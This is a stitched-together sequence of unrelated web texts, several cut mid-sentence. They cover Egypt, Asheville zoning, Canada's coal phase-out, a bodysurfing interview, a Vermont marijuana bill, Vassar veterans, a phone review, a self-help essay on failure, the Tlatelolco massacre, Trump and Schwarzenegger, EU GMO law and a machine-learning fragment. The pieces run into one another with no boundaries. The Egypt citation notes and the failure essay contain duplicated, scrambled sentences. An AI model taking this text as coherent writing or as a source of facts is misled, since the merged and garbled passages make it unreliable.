According to the World Health Organization in 2008, an estimated 91.1% of Egypt's girls and women aged 15 to 49 have been subjected to genital mutilation,[281] despite being illegal in the country. In 2016 the law was amended to impose tougher penalties on those convicted of performing the procedure, pegging the highest jail term at 15 years. Those who escort victims to the procedure can also face jail terms up to 3 years.[282]
The total number of Egyptians with health insurance reached 37 million in 2009, of which 11 million are minors, providing an insurance coverage of approximately 52 percent of Egypt's population.[283]
See also
Notes
^ "Background Note: Egypt". US Department of State. 10 November 2010. ); the CIA World Factbook ( "Egypt". CIA. 4 September 2008. ) and the United Kingdom's Foreign and Commonwealth Office ( "Egypt". UK Foreign and Commonwealth Office. 27 January 2008. Archived from the original on 12 December 2012. ). Microsoft Encarta Online similarly estimates the Sunni population at 90% of the total. ( Egypt. Microsoft Encarta Online. 30 September 2008. Archived from the original on 21 October 2009. ). The Pew Forum on Religion and Public Life gave a higher estimate of the Muslim population at 94.6% ( "Mapping The Global Muslim Population" (PDF). Pew Forum on Religion and Public Life. p. 8. Archived from the original (PDF) on 10 October 2009. ) Then in 2017 government owned news Al Ahram estimated the percentage of Christians at 10 to 15%. The population of Egypt is estimated as being 90% Muslim, 9% Coptic Christian and 1% other Christian though estimates vary. by the US Department of State (); the CIA World Factbook () and the United Kingdom's Foreign and Commonwealth Office (). Microsoft Encarta Online similarly estimates the Sunni population at 90% of the total. (). The Pew Forum on Religion and Public Life gave a higher estimate of the Muslim population at 94.6% () Then in 2017 government owned news Al Ahram estimated the percentage of Christians at 10 to 15%. [1]
References
Shaw, Ian (2003). The Oxford History of Ancient Egypt. Oxford: Oxford University Press. ISBN 0-19-280458-8.
Government
General
TradeThe Asheville Planning & Zoning Commission last week voted to reject a set of new rules aimed at curbing Asheville’s hotel construction boom, with one member calling the regulations a fear-based reaction to growth.
The rules proposal has been in the works for more than a year, following the 2015 Asheville City Council. One of the hot topics that dominated public discussion during that election was the impact of the local tourism industry on city residents. The construction of new hotels, several of them in downtown Asheville, was a particular point of debate and discussion. Three new City Council members were elected – Brian Haynes, Keith Young and Julie Mayfield – with Haynes and Young specifically noting that they wanted to do something to slow the hotel building boom.
Council put city staffers in motion. An online survey was posted on the city website, presentations were made to various stakeholder groups, and two public forums were held. Last September, staffers brought the results of all that work back to City Council, which then directed staff to draft new zoning rules.
The new regulations, at their core, reduce the size of buildings that get reviewed and approved by City Council. That’s a move to undo the loosening of city development rules approved in 2009-10, when City Council at that time aimed to spark downtown development in a sluggish economy.
The new regulations also clearly target hotels. One of the new rules calls for any proposed lodging facility with 20 to 25 rooms or more anywhere in the city (not just in the central business district) to go up for City Council approval.
Alan Glines, assistant director of city planning, delivered all that background to Planning & Zoning Commission members during their monthly meeting last Wednesday. After brief public comment in which three people offered their thoughts (local architect Peter Alberice; Jack Thompson, head of the Preservation Society of Asheville and Buncombe County; and David Nutter, a retired city planner), commission members wasted no time in speaking up.
“I’m not sure this is the right tool,” said Kristy Carter, the commission’s vice chairman. “And I’m not sure I agree there’s a problem.”
Jeremy Goldstein, the commission’s chairman, agreed, adding that “I have so many problems with this on so many levels I don’t know where to begin.”
Goldestein said he appreciated city staffers’ work on the issue, then noted his own personal history working through city bureaucracy. Goldstein, noting that he’s now in his sixth year as a Planning & Zoning Commission member, said he’s attended countless retreats, meetings and discussions on growth and development. He noted that rules changes were put off, adding that the city is currently in the midst of updating its comprehensive planning document.
“I think there’s an emotional response to growth, to tourists,” Goldstein said. “I don’t think we can raise the drawbridge” and cut off the city to hotel development, he added.
“It’s not going to stop tourists from coming.”
Commission member Laura Berner Hudson said there were some useful points in the proposal for new regulations, and questioned others.
“You can’t really stop growth. You can respond to it,” she said.
Carter added that the new regulations would make the cost of construction increase, including the cost of building new housing in the city, including affordable housing. “My gut is I think this is a fear reaction,” she said.
Goldstein moved to deny approval of the new regulations. In his motion, Goldstein said the new rules aren’t consistent with the city’s comprehensive plan because they politicize the planning process, discourage development, contribute to sprawl and can potentially discourage the development of new housing.
The commission voted 6-1 to deny approval of the regulations, with Hudson dissenting. Goldstein, surprised at Hudson’s vote following her comments, asked why she dissented.
“I’m expressing my support of the intent” of the regulations, she replied.
The proposed regulations will go on for consideration by Asheville City Council, along with the commission’s recommendation against them. City Council is scheduled to discuss the rules at its Feb. 14 meeting.This article is over 2 years old
Environment minister’s goal to make 90% of Canada’s electricity come from sustainable sources starkly contrasts Trump’s pledge to revive US coal industry
Canada plans to phase out coal-powered electricity by 2030
Canada has announced plans to phase out the use of coal-fired electricity by 2030.
The move is in stark contrast to President-elect Donald Trump’s vow to revive the American coal industry.
Canada gives $3.3bn subsidies to fossil fuel producers despite climate pledge Read more
The environment minister, Kathleen McKenna, said the goal is to make sure 90% of Canada’s electricity comes from sustainable sources by that time – up from 80% today.
The announcement is one of a series of measures Justin Trudeau’s Liberal government is rolling out |
the agents of patriarchal harm or to imagine a better future where we are not men’s sexual, domestic and reproductive slaves. If an image one finds in the media seems positive (or even power-neutral) the proper way to approach it would be to ask the following question: “How does this image or message support male institutions and male power?” Or more plainly, as we should always ask ourselves about everything under patriarchy, “How does this benefit men?” If it is an image generated by the patriarchal propaganda machine, one is sure to find something, and should continue examining it until that patriarchal purpose is revealed.
Thus, the “positive images” we are likely to find and which we will archive and discuss here will be created largely by women artists, bloggers and commentators who have more to gain than lose by examining the roots of women’s oppression by men, and who are truly invested in imagining a woman-centric future where girls and women are truly free. If you come across such an image in your travels, please feel free to drop the link here.
Back to topKalani Lattanzi has made a habit of being in the right place at the right time this year. The 21-year old Brazilian bodysurfer/bodyboarder hybrid has been a part of the most exciting sessions in recent memory. He shared his most recent experience with us in our first of an on-going series called All-Time Sessions.
14.01.15 Jaws
The Crew Swims Out @ShannonReporting Kalani and Henrique Sharing @ShannonReporting Henrique’s Unique Takeoff @ShannonReporting
SLM: Tell us about the Jaws session.
K: Henrique Pistilli invited me to bodysurf Jaws, so I said, ” sure why not.” I was excited because the conditions were finally perfect. We want to go bigger, but it was epic, 12-15 feet we had great times out there. The crew was Henrique, Kai Santos, Michael Donohoe, Kaliya Mayell and myself. When we first got in, we stayed at the west bowl, but after some waves we tried to stay with the surfers. The surfers were kind of surprised, but they seemed happy to see us having fun.
SLM: How was swimming with Kai and Henrique?
K: Kai and Henrique are expert watermen. Kai is a fearless mad dog. Henrique is calm on the outside, but burning inside and catching so many waves he even ended up on some of mine. Jaws is different because there is so much water, you have to paddle super hard.
Drawing a High Line @ShannonReporting Trying to Catch Up with All that Water @ShannonReporting Kalani Landing Gear Out @ShannonReporting
SLM: Did you need to train for Jaws specifically?
K: I didn’t need to train, I live at Itacoatiara beach, the heaviest wave in the world, in my opinion. So its already a big training surfing there. The most important thing is mentally, I use to say ” it’s only water.” Makes me feel more comfortable. When the session was over we were all so happy that everyone made it out safe. This is my second favorite bodysurfing session of all-time, just behind El Buey in 2011.
SLM: What fins did you wear?
K: I use the same I use for bodyboard, Invert Style fins, a Churchill modeled fin.
SLM: What’s your advice for the next crew of bodysurfers taking on Jaws?
K: If you wanna stay safe, stay at west bowl if you wanna go bigger try bodysurf at outside. More dangerous but maybe you catch a sick wave.
SLM: That’ll be where you are next time?
K: Yes.
Kai Peepin the Bowl @ShannonReporting Kai on the Crest @ShannonReporting Kai Deep in the Whitewash @ShannonReporting Kalani Makin a Run @ShannonReporting David Cafecito on the Moto Keepin’ the Crew Safe @ShannonReporting Empty Perfection Awaits @ShannonReporting
Special thanks to @ShannonReporting for the photographic documentation. She is a photographer, surfer and television journalist.
This session was featured on the Brazilian T.V. show Homem Peixe. Check out the episode and more of Henrique Pistilli’s travels HERE.Share Email 0 Shares
A House committee, poised to allow PTSD patients to qualify for medical marijuana, reversed itself Friday when the state’s top law enforcement official stepped in before the panel voted.
Just before 9:30 a.m., the House Human Services Committee took a straw poll and found seven of 11 members agreed to allow people with post-traumatic stress disorder to obtain medical marijuana.
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But before they took a final vote, Public Safety Commissioner Keith Flynn entered the committee room. Flynn, whose department runs the medical marijuana dispensary program, said he would seek to wash DPS’ hands of managing the program if PTSD was included as a qualifying medical condition.
“I think it’s outside of the original mission we had, and I think we need to look and see if it can be more appropriately managed somewhere else,” Flynn said.
When the House Human Services Committee reconvened an hour later, it voted 11-0 to support a new draft of the bill, S.247, without the PTSD language.
Rep. Tom Burditt, R-West Rutland, voted “reluctantly, yes.” Rep. Bill Frank, D-Underhill, voted “double-reluctant, yeah.”
The bill instead calls for the Vermont Department of Health to research marijuana treatment for PTSD symptoms.
“I had an opportunity to meet with some of the members of the committee and discuss some of the concerns,” Flynn said after the second vote.
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“This would essentially change the face of the (medical marijuana) program by having it move from something that was an alternative, or actually, a last resort after other treatments have been administered for symptom relief to making it a primary treatment mechanism and that is not consist with the program that we have in place now,” Flynn said.
Legislators made it clear throughout the debate that they view marijuana as a tool for symptom relief only.
The bill now heads to the House floor. The Senate also removed PTSD as a qualifying condition, a provision of the original bill, before passing it, but the House added it back in. Sen. Jeanette White, D-Windham, is the sponsor.
Pro-marijuana lobbyists supported the PTSD language, but not at the expense of the bill. They advocated for the Health Department study.
Among those who changed their vote was Rep. Francis “Topper” McFaun, R-Barre Town.
“My position is if we can help people then we ought to do it,” McFaun said originally.
Later, McFaun said he was uncomfortable with his original vote, saying he voted for the PTSD language because he wanted to advance the bill.
“I want the people who are administering this program to feel comfortable with administering it,” McFaun said later in explaining his change of heart.
Other committee members advocated for PTSD both times. Rep. Matthew Trieber, D-Bellows Falls, said lawmakers should not stand in the way of making marijuana available if it can help people.
“We should be offering (medical marijuana) to victims of rape and veterans and that’s where my vote will be,” Trieber said.
Chairwoman Ann Pugh, D-South Burlington, did not support PTSD language from the start. She said she is in favor of incremental change and did not want to jeopardize the support of law enforcement.
“Sometimes taking baby steps is the way before you can jump and take a big step, so I would not personally be supportive of adding PTSD,” she said. Later in the afternoon she thanked her committee for reconsidering.
Rep. Anne Donahue, R-Northfield, also said she did not support adding PTSD, saying in another state it increased the number of people going to dispensaries by 30 percent.
Rep. Sandy Haas, P-Rochester, said she was uncomfortable voting for a bill that the Department of Public Safety opposed, since it administers the program.
The committee also added an amendment from Trieber that removes a requirement that a patient have had a six-month relationship with a physician for people who are diagnosed with a terminal illness, cancer with distant metastases or AIDS.
They also added a section authorizing dispensaries to acquire, cultivate and sell hemp for symptom relief. The committee learned through testimony that a certain strain of hemp is effective in treating some children who suffer from frequent seizures.“I feel like I can do things that I could not do before I arrived here,” he explained, likening his skill acquisition to a scene in The Matrix in which the protagonist Neo instantly learns kung fu. “I express myself way more clearly than I could before, I can write at a level that I couldn’t before, I can speak Chinese.”
Vassar’s broad curricular offerings also offered new ways for student-veterans to understand their military experiences. Among the courses de la Torre sampled, a cognitive-science course and a class on the philosophies of Marx, Nietzsche, and Freud helped him make sense of the PTSD symptoms he experiences. The Vassar history professor Maria Höhn, whose scholarship focuses on the U.S. military, notes the difficult but transformative experiences she witnessed among the Vassar veterans who took her American-studies course. “What they do in my class is really look at the structure of the U.S. military, its history, and what it means,” she says. “It forces them to think about their military service [in a way] that’s very different than they ever thought about.” Braga, who who served in Operation Iraqi Freedom II and took two courses with Höhn, credits her classes with helping him develop a nuanced perspective on the sometimes beneficial exercise of American military power after initially holding anti-war views after his deployment.
But course subjects aren’t the only place where student-veterans have the opportunity to confront military narratives—in Vassar’s trademark discussion-based roundtable seminars, for example, students are known to hold uncompromisingly progressive views. That campus ethos presented a point of contention when the school announced the Posse Veterans initiative. “To be honest, the reaction of students was like, ‘They’re all right-wing conservatives and we don't want them here,’” Hill said in recalling some of the students’ responses.
Heather Kettlewell, a Vassar junior majoring in international-studies, appreciates the student-veterans contributions in her political-science classes. “Sometimes classroom discussions can get really homogenous, and the vets are able to add a completely different perspective that I think Vassar students don’t hear,” she said. “There can be a lot of army hating and anti-war that gets projected onto the soldiers themselves.” Citing a recent classroom conversation in which a student-veteran discussed her role in helping to build community infrastructure during a deployment, Kettlewell she learned about “a whole side of the military that doesn’t get discussed. It’s good that it humanizes these people who can be demonized.”
To Garrett, the Vassar chemistry professor, student-veterans’ identities offer hope for bridging divides. “As vets, going out in this world, their ability to translate this experience to a group, a different part of our world and our country, is really critical,” she said. De la Torre’s next endeavor, establishing a community bank for disabled veterans, is a manifestation of that translation. The project will rely on both the economics skills he developed as a Vassar student, and the military know-how he’s arrived at through personal experience. It’ll also offer him the chance to apply the operational modes he’s acquired. “My military experience is grounded on doing—you’ve got to get results immediately,” he explained. “And then my liberal-arts education is about the theoretical and how to apply it from the different perspectives and looking at the big picture. So the balance between the two has, at least in my opinion, has positioned me to apply that to pretty much anything I’m trying to do.”First thing's first - this is for Verizon prepaid only. It can't be used on GSM providers, at least, not 100%. Some intrepid people have tried, I guess. This is a nice device, and the price is good. Sure, there are "edgier" and more fancy phones out there. This thing does 99% of what it needs to do, and does it fairly well. It will last at least a day on a charge, and is a decent machine. No, it will probably not play the latest, greatest, fanciest games all that well. That's not what it's meant to do. It's meant to be a good phone first. It should play games that aren't super high end pretty well. For really intense games, it will probably choke up. I don't game on the phone, though, so I don't care. For puzzle games, etc., I'm sure it's fine. The screen is good (even in sunlight), and is of decent size. Actually miss slightly smaller ones, but this one is mostly usable with one hand. It runs pretty smooth with 2GB RAM. Web browsing is decent, and it flips between a few apps pretty well. Time will tell, but the battery does seem to be good, as reviews say. Takes a long time to charge up, though, so it will need to be an overnight kind of thing which I'd bet most people do anyway. With medium use, it looks like it will easily last a day. If it ever gets Android 7.x, there are even more battery optimizing features built-in, so that would be really nice. Not holding my breath, but the word is that it should get 7.x in the near future. Overall, I'm pretty happy with this device. It is a nice upgrade from last phone. It is smooth running, long running, surprisingly lighter than I thought, and I'll get used to the slightly larger size. Makes reading a little easier anyway. Pros: - It's a good mid-range phone. - It runs smooth, and doesn't seem to get hot - The camera is OK. It should do well enough for random pictures. - It runs Android 6.x - and *should* get 7.x, but we'll see. - Long battery life. Much nicer than many other phones out there, especially in this price range - Price - you simply can't beat it for what you get - SD card slot. Easy to add a card for storing pictures etc. - Removable battery. What a nice thing to see. Not sure if replacements are out, or ever will be, but it's nice to see the choice - Moto notifications. Very used to these. Very convenient. - Very little "bloat" or junk. Nearly "stock" Android with no weird extra "skins" or other things that get in your way. The very few "Verizon" apps can be ignored or disabled if you want. - It's a Moto, even if Lenovo bought them out. That means it has a good radio chip in it. That means it probably has better reception than a lot of other brands, and that still matters in some places. Cons: - It's not the "best" phone in existence, it's a "mid-range" device. It's still better than a lot of others. - It doesn't have a 1080p or higher screen resolution, but the pixels are so small that the human eye can't see them anyway. - It doesn't have some features, such as NFC, or a fingerprint reader. Oh well. - It doesn't make you breakfast, but it could probably help you order food online. -...biggest con... it has a Snapdragon 410. This is already at least a yr. old chipset. It's not the latest. It's not the fastest. It is what it is. This one isn't great, but it's also not horrible by any means. It's efficient, and it handles "regular" things decently. It's an OK compromise for good battery life and usable performance. Overall - you can't beat this thing for the price. If you want to use it with another carrier, get the "unlocked" one. If you have Verizon (prepaid) and don't expect to need it on another provider, this is a great value, and it doesn't disappoint.
Read moreon •
Fellow blogger Jeff Wagg lives in the great city of Chicago. He is the brains behind the “College of Curiosity”. Curious is the best word to describe Jeff, if it’s new, old, different or in any way interesting, Jeff want to know about it. Not only does he want to know about it, he wants to share that knowledge with others.
I recently found a tourist style book of photographs of Chicago. I scanned some of he photographs and as a challenge to Jeff asked him how many of the places listed as “must see” were still around. Much to the delight of both of us, these places still exist in some form, except one! Now I look forward to visiting and seeing some of these places for myself.
I wasn’t sure why this was a “must see”. The building is still there today, but serves a new purpose!
I found out what I thought was a water tower on top of the building, actually lights up!
I want to go see the boats!
Still there, and I love to visit “Chinatown” no matter what the city.
I think the airport has grown somewhat since the photograph was taken. I have however flown in a biplane and it was wonderful.
One place we can no longer visit. However, I have read about the smell that visitors to the site complained about. So if one of the places has to be gone, this is the one I am fine missing.
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Categories: TravelFailure is something that is feared and disliked by anyone with half a brain. Your sense of self-esteem is, after all, measured by how well you succeed at doing something, not how badly you fail at doing it. Most of us try to avoid failure at all costs- at any cost- so that we never have to feel the sting of embarrassment and the pain of rejection that comes from failure.
There is one thing, however, that failure is very good for: it teaches you like nothing else can.
good at things by failing at them, repeatedly, and learning from our mistakes until we achieve mastery. Someone wise once said that "good judgement comes from experience- and a lot of that comes from bad judgement". Very few of us are so preternaturally gifted as to wake up in the morning completely ready and able to face every possible challenge that life throws at us. We get to beat things byat them, repeatedly, andfrom our mistakes until we achieve
In order to achieve mastery, you have to put in the time and effort to achieve whatever goal you've set your mind upon achieving. If you start out half-heartedly, and never learn from your failures, you'll never achieve your goals- but if you keep your head down, keep learning from your screwups, and keep showing up to put in the work, then your failures will hone your skills and sharpen your focus.
And when you start to look at failure in this way, you quickly realise that failure, in and of itself, is NOT something to fear.
This is not a call for doing something stupid, just so we are clear. Fear is a healthy survival instinct that kicks in when you're about to do something that puts your precious person at significant risk. There is no reason to take stupid risks. If you're going to start sparring with full contact, wear protective gear. If you're going to lift heavy weights, learn the right form and get a spotter, or at the very least set the rack up so that you have a safe zone that can catch the weights. If you're going to approach, either in person or online, do your homework beforehand to get the logistics right. If you're going in for a tough job interview, do some preparation the night before so that you can easily handle whatever is coming your way.
If you're going to do something dangerous or difficult, take precautions to make sure that you'll most likely walk away from it intact- and then do it.
Because the one guaranteed way to fail, every single time, is not to try at all.
If you're afraid of failing, you'll never reach your true potential as a human being. You'll never maximise your strength and fitness. You'll never summon up the courage to talk to that hot girl at the bar, or meet that floozy you met online for a cup of coffee in the real world. You'll never learn whether you can take a punch or kick. You'll never become the best version of yourself that you can be.
If you're afraid of failing, you might as well not bother starting in the first place.
But if you approach failure with the attitude that it is your teacher, and that you will learn from its lessons, then failure has no power over you. Yes, you'll screw up. You'll get your ass kicked by someone with vastly more experience than you. You'll end up hurting yourself. You'll end up making a complete ass of yourself in public while talking to that nut-bustingly hot girl. You'll end up completely blowing an interview because you got that one tough question wrong and ended up looking like an utter tool in front of your interviewer.
Big deal. There's always next time. You're a man. Pick yourself up, learn from your mistakes, and move on.
It's taken me years to get to the point where I actually look forward to challenges, the way I do now. I genuinely look forward to my next tough workout in the gym- even when I'm tired or sore, and I know I'd rather be at home sleeping, I go to the gym anyway because I'm not afraid of failing that day. I look forward to getting my ass kicked every week at my sparring classes- because I know that sparring and tag-fighting with people who are faster and better than me forces me to fix my mistakes, and because I know that even if I get my butt kicked, it's a challenge to me to improve myself. I look forward to my next big project at work because I know that there is every possibility that I'll mess something up- but I know from past experience that I have what it takes to figure it out and fix it.
And don't even get me started on how much better I am at job interviews and public speaking these days than I was ten years ago. Honestly, I wish I knew then what I know now. Back when I was just starting out with interviews, I was loud, brash, overconfident, and probably a bit grating in interviews. These days, I am quiet, measured, confident- because I know what I'm really good at and can speak to it articulately and confidently. Back then, public speaking made me very nervous; these days, public speaking doesn't worry me in the slightest, because I know my material cold.
solely in and of itself, is not something to fear. It is something to embrace- provided that you learn from it. If you don't, then you've wasted your time; Failure,, is not something to fear. It is something tothat you learn from it. If you don't, then you've wasted your time; another very smart person defined insanity as "doing the same thing over and over again and expecting different results". If that is you, then just STOP. You're not doing yourself, or anyone else, any favours by repeating the same stupid mistakes.
If, however, you are willing to learn from your mistakes, then adopt a beginner's mindset, take the necessary precautions to minimise damage to yourself should you fail, prepare yourself- and DO IT.
For if you have prepared correctly, you have nothing to lose- and everything to gain.Munchak, Clements among committee's top picks
Penn State coaching search
DALLAS -- Fifty days after Penn State fired Hall of Fame coach Joe Paterno, the school finally may be getting close to naming his successor.
Sources told the Pittsburgh Post-Gazette on Tuesday night that first-year Tennessee Titans coach Mike Munchak is the top pick of the search committee.
Mike Munchak
Green Bay Packers quarterbacks coach Tom Clements, a native of McKees Rocks, appears to be the second choice in case Munchak opts to remain in the NFL.
Munchak, 51, is a former Nittany Lions offensive lineman and Pro Football Hall of Famer who has spent his entire professional career, as a player and coach, with the Titans/Houston Oilers franchise after leaving Penn State after the 1981 season.
Former All-American tailback Curt Warner believes Munchak would be a good choice to lead Penn State's program, which still is reeling from the Nov. 9 firing of Paterno in wake of the child sexual abuse scandal involving former defensive coordinator Jerry Sandusky.
"Mike would be a great fit," Warner said Tuesday night from his home in Vancouver, Wash. "He's a Penn State guy. I don't think any of his old teammates would be upset about him getting the job at all. He has my support. I'd love to see him get it."
Warner, a former Pro Bowl performer with the Seattle Seahawks, said it doesn't bother him that Munchak, a native of Scranton, has no college coaching experience.
"He has done a wonderful job with everything he's done in football," Warner said.
"And I would expect that to continue if he gets the [Penn State] job."
Penn State officials have been aggressively pursuing Munchak, whose Titans (8-7) have flickering playoff hopes. The Titans face the AFC South Division champion Houston Texans (10-5) Sunday on the road.
Clements, 58, was interviewed twice in the past two weeks, first via conference call and then via Skype. He is a 1971 graduate of Bishop Canevin High School.
He quarterbacked Notre Dame to the national championship in 1973 and finished fourth in the Heisman Trophy voting as a senior in 1974, when he was an All-American. He was 29-5 as a starter for the Fighting Irish and graduated magna cum laude from Notre Dame's law school in 1986.
Clements played 12 years in the Canadian Football League, throwing for almost 40,000 yards, and practiced law for five years before beginning his coaching career at Notre Dame in 1992.
Clements was in the mix for Notre Dame head coaching job that went to Charlie Weis in 2005.
Before joining the Packers staff in 2006, Clements spent 10 seasons coaching quarterbacks under coaches such as Bill Cowher, Mike Ditka and Lou Holtz. Clements worked as a Steelers quarterback coach from 2001-03.
First published on December 28, 2011 at 12:00 amThere are two ways for cities to grow when they’ve begun to run out of housing: They can expand outward, carving new neighborhoods from the countryside, or they can turn inward, replacing small buildings with larger ones, tucking new construction on unused lots, stretching higher instead of farther out.
The first option has long been the American way.
Since 1950, the vast, vast, vast majority of housing growth around U.S. cities has come from building where there were no buildings before. In every decade since then, nearly 90 percent of new housing construction in the U.S. has taken place on land that was either previously undeveloped or very low-density (with less than four homes per acre).
That’s according to a novel new analysis of American Community Survey data on the construction vintage of all U.S. housing by Issi Romem, the chief economist at the platform BuildZoom that tracks building permit and contractor data. His study uses building ages at the Census block-group level to trace where cities expanded — and what was already on the land when new housing was built.
“Densification just doesn’t account for the bulk of housing growth,” Romem says.
The above GIF of the Washington-Baltimore area shows how the two metros have expanded into each other since 1940. Nearly all of the region’s growth since then has come from the spread of new low-density neighborhoods (in light blue) into rural parts of Maryland and Virginia. Far fewer neighborhoods grew denser — darker blue — over this time.
Here is what the same timeline looks like in Atlanta:
And Phoenix:
This history — and why U.S. development has taken this shape — also suggests that it will be very difficult for cities to grow denser in the coming years, despite rising worries about the environmental costs of sprawl and the individual toll of commuting.
Romem’s data show that cities produce new housing in proportion to their rate of outward expansion. Metros that spread out the most add the most housing, and have kept their housing costs in check as a result. Metros that have resisted sprawl (like Portland, which has an urban growth boundary, or San Francisco, which is hemmed in by mountains and water) haven’t built much.
This chart showing all U.S. cities with a population of at least 250,000 illustrates this relationship:
That picture means that metros that didn’t spread out failed to compensate by turning inward — at least on the scale necessary. In the choice between more sprawl and greater density, they chose neither. And that’s driving the increasing divide in the United States between what Romem calls expansive and expensive cities.
In the national picture, these two charts tracing the U.S. housing supply since the 1950s show, at top, how the share of all housing at the densest levels has shrunk with time. Below, we can see where the share of new housing was added, with about a quarter of it consistently coming on undeveloped land:
One tiny detail there — the slight uptick in the 2000s in the share of new construction at the highest density — speaks to the new apartments now rising in cities like Washington.
“That’s huge,” Romem says of what might seem like a small numerical change. “That is the reflection of the urban renaissance, the shift back to denser suburbs and downtowns.”
The larger historical trend, however, shows that densification has slowed down since the postwar period. Part of this has to do with the fact that easily developable land disappears with time as cities grow. Fewer large, usable parcels remain. It becomes harder to cobble together small ones.
But the other obstacle blocking more density today comes from choices that we’ve made. By zoning large swaths of cities for single-family housing only, we effectively outlaw greater density. Limits on building heights have the same effect. Development flows where it’s easiest to build. And not only is it easy to build on the empty edges of town, but we have intentionally made the alternative that much harder.
That leaves us with a choice between ever more sprawl or ever higher housing costs (with growing cities falling into one camp or the other). Or, Romem suggests, we could do the really hard thing: fundamentally rewrite the rules for how land can be used. Curb the ability of cities to block new housing. Kill off single-family zoning (which is not the same as killing off single-family homes). “Such a change,” Romem adds in his paper, “would need to be coupled with a broader acceptance of multifamily housing as a legitimate place for raising children.”
He acknowledges that massive change like this sounds impossible today.
“But eight or 10 years ago, the thought of having mandatory health care in this country seemed probably not far from this in terms of how outlandish it was,” he says. “And yet that happened. There is hope.”
In the meantime, here are a few more GIFs to ponder:One of the ugliest and most tragic incidents in the modern history of Latin America took place on Oct. 2, 1968, when hundreds of unarmed Mexicans, most of them student protesters, were gunned down by government police and Mexican army forces in a gruesome bloodbath that still haunts Mexicans.
Background
For months preceding the incident, protesters, again most of them students, had been taking to the streets to bring the attention of the world to Mexico's repressive government, led by President Gustavo Diaz Ordaz.
The protesters were demanding autonomy for universities, the firing of the police chief and the release of political prisoners. Díaz Ordaz, in an effort to stop the protests, had ordered the occupation of the National Autonomous University of Mexico, the country's largest university, in Mexico City. Student protesters saw the upcoming 1968 Summer Olympics, to be held in Mexico City, as the perfect way to bring their issues to a worldwide audience.
The Tlatelolco Massacre
On the day of Oct.2, thousands of students marched throughout the capital, and around nightfall, about 5,000 of them congregated at La Plaza de Las Tres Culturas in the district of Tlatelolco for what was expected to be another peaceful rally. But armored cars and tanks quickly surrounded the plaza, and the police began firing into the crowd. Estimates of casualties vary from the official line of four dead and 20 wounded into the thousands, although most historians place the number of casualties somewhere between 200 and 300.
Some of the protesters managed to get away, while others took refuge in homes and apartments surrounding the square. A door-to-door search by authorities yielded some of these protesters. Not all of the victims of the Tlatelolco Massacre were protesters; many were simply passing through and in the wrong place at the wrong time.
The Mexican government immediately claimed that security forces had been fired upon first and that they were only shooting in self-defense. Whether the security forces fired first or the protesters incited the violence is a question that remains unanswered decades later.
Lingering EffectsDuring a speech at the National Prayer Breakfast this morning, President Donald Trump bragged about the success of The Apprentice and mocked the new host, Arnold Schwarzenegger.
The Apprentice came up because Trump was introduced by Mark Burnett, executive producer of the show. Burnett called the series a “highly successful global television franchise.” A few minutes into Trump’s remarks, the president boasted about the reality TV show and made fun of NBC and Arnold Schwarzenegger for the show’s current ratings.
“We had tremendous success on The Apprentice, and when I ran for president, I had to leave the show,” he said. “That’s when I knew for sure I was doing it. And they hired a big, big movie star, Arnold Schwarzenegger, to take my place, and we know how that turned out. The ratings went right down the tubes, it’s been a total disaster, and Mark [Burnett] will never, ever bet against Trump again.”
Trump then invited the audience to pray for Arnold Schwarzenegger and his ratings.
A spokesperson for Schwarzenegger told ABC News, “Arnold is praying that President Trump can start improving his own approval ratings, which were the worst in history for an incoming president, by taking his job seriously and working inclusively.”
Schwarzenegger responded himself on Instagram by saying that he and Trump should swap jobs.
“Hey Donald, I have a great idea,” Schwarzenegger said. “Why don’t we switch jobs? You take over TV, since you’re such an expert at ratings, and I take over your job so people can finally sleep comfortably again.”
The ratings for Celebrity Apprentice have indeed been down this season. The premiere drew 4.95 million live viewers compared to 6.31 million viewers during the premiere of the previous season, which Trump was the host of, according to Vox. Trump tweeted about this immediately after the ratings first came out in early January.
Wow, the ratings are in and Arnold Schwarzenegger got "swamped" (or destroyed) by comparison to the ratings machine, DJT. So much for…. — Donald J. Trump (@realDonaldTrump) January 6, 2017
being a movie star-and that was season 1 compared to season 14. Now compare him to my season 1. But who cares, he supported Kasich & Hillary — Donald J. Trump (@realDonaldTrump) January 6, 2017
Schwarzenegger responded at the time by saying that he hopes Trump works as hard for the American people as he worked for his Apprentice ratings.
I wish you the best of luck and I hope you'll work for ALL of the American people as aggressively as you worked for your ratings. — Arnold (@Schwarzenegger) January 6, 2017
The National Prayer Breakfast is an annual event in Washington, D.C. in which members of Congress and faith leaders gather at the Hilton Hotel. It takes place on the first Thursday of February each year.
Trump delivered this speech amid reports that he had angered Australia by raising his voice during a call with the prime minister, complaining about a deal reached by the Obama administration to admit about 1,200 refugees from an Australian detention center, and ending the call a half-hour early. Trump said on Twitter that he will “study this dumb deal,” and at the National Prayer Breakfast, he responded to concerns that he is driving away U.S. allies.
“When you hear about the tough phone calls I’m having, don’t worry about it,” he said. “…We have to be tough.”The European Union has approved a law that will enable the bloc’s 28 member states to restrict the cultivation of genetically modified crops, even if the EU has declared them as safe. The law comes despite furious lobbying from multinationals.
Previously, countries that opposed the cultivation of crops approved by Brussels potentially faced legal challenges. Now, any country may unilaterally ban a particular genetically modified variety of seed – or even “groups of GMOs defined by crop or trait” – and additionally demand that their neighbors do not contaminate their fields.
The EU legislation will come into force in spring next year, pending a formal agreement from the individual states. Among the states likely to find use for the statute are France, Germany, Austria and Poland, which have consistently opposed gene-splicing technologies.
#GMO cultivation - up to MS & their citizens. Big step forward after 4 y of debate. http://t.co/rDnuoURtZK@Europarl_EN@EUCouncil — Vytenis Andriukaitis (@V_Andriukaitis) December 4, 2014
“The agreement, if confirmed, would meet member states' consistent calls since 2009 to have the final say on whether or not GMOs can be cultivated on their territory, in order to better take into account their national context and, above all, the views of their citizens,” said a statement from EU Food Safety Commissioner Vytenis Andriukaitis.
“The text agreed is in line with EU President Juncker’s commitment, as reflected in his political guidelines, to give the democratically elected governments at least the same weight as scientific advice when it comes to important decisions concerning food and environment.”
Some scientists |
mini-batch optimisation
(2) is the expectation when you sample your data uniformly from the dataset (probability of each datum is 1 over n).
Having an expectation is great because now, we can use stochastic approximation and recover the stochastic gradient descent. 💪🏼
Remark 2: MAP and regularisation
At that point, one could point out that maximising the likelihood given a fixed dataset can actually be a bad idea to predict future experience, your model might end up being over-specialised on this precise dataset, this is called “overfitting”.
And that’s definitely true, but when you look at the equations so far, one can wonder what is missing? Where did we make an untold assumption?
Well, it’s actually when we wrote down the first equation! Because before training any models with parameters, you have to choose some initial ones and here again this choice is either random or an educated guess, meaning that we can frame it in terms of probabilities thanks to “the Bayes”.
